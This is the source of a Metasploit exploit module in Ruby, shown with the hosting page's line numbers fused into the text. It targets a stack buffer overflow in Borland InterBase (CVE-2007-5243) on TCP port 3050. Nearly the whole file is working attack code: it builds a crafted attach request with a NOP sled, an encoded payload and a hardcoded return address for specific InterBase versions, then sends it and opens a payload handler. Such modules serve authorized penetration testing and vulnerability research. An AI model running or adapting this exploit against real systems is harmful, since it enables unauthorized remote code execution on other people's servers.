Path: blob/master/modules/exploits/linux/misc/ib_pwd_db_aliased.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Borland InterBase PWD_db_aliased() Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Borland InterBase17by sending a specially crafted attach request.18},19'Author' => [20'Ramon de C Valle',21'Adriano Lima <adriano[at]risesecurity.org>',22],23'Arch' => ARCH_X86,24'Platform' => 'linux',25'References' => [26[ 'CVE', '2007-5243' ],27[ 'OSVDB', '38607' ],28[ 'BID', '25917' ],29[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],30],31'Privileged' => true,32'License' => MSF_LICENSE,33'Payload' => {34'Space' => 512,35'BadChars' => "\x00\x2f\x3a\x40\x5c",36},37'Targets' => [38# 0x0804cbe4 pop esi; pop ebp; ret39[40'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',41{ 'Ret' => 0x0804cbe4 }42],43],44'DefaultTarget' => 0,45'DisclosureDate' => '2007-10-03',46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56Opt::RPORT(3050)57],58self.class59)60end6162def exploit63connect6465# Attach database66op_attach = 196768length = 115269remainder = length.remainder(4)70padding = 07172if remainder > 073padding = (4 - remainder)74end7576buf = ''7778# Operation/packet type79buf << [op_attach].pack('N')8081# Id82buf << [0].pack('N')8384# Length85buf << [length].pack('N')8687# It will return into this nop block88buf << make_nops(length - payload.encoded.length - 4)8990# Payload91buf << payload.encoded9293# Target94buf << [target.ret].pack('V')9596# Padding97buf << "\x00" * padding9899# Length100buf << [1024].pack('N')101102# Random alpha data103buf << rand_text_alpha(1024)104105sock.put(buf)106107handler108end109end110111112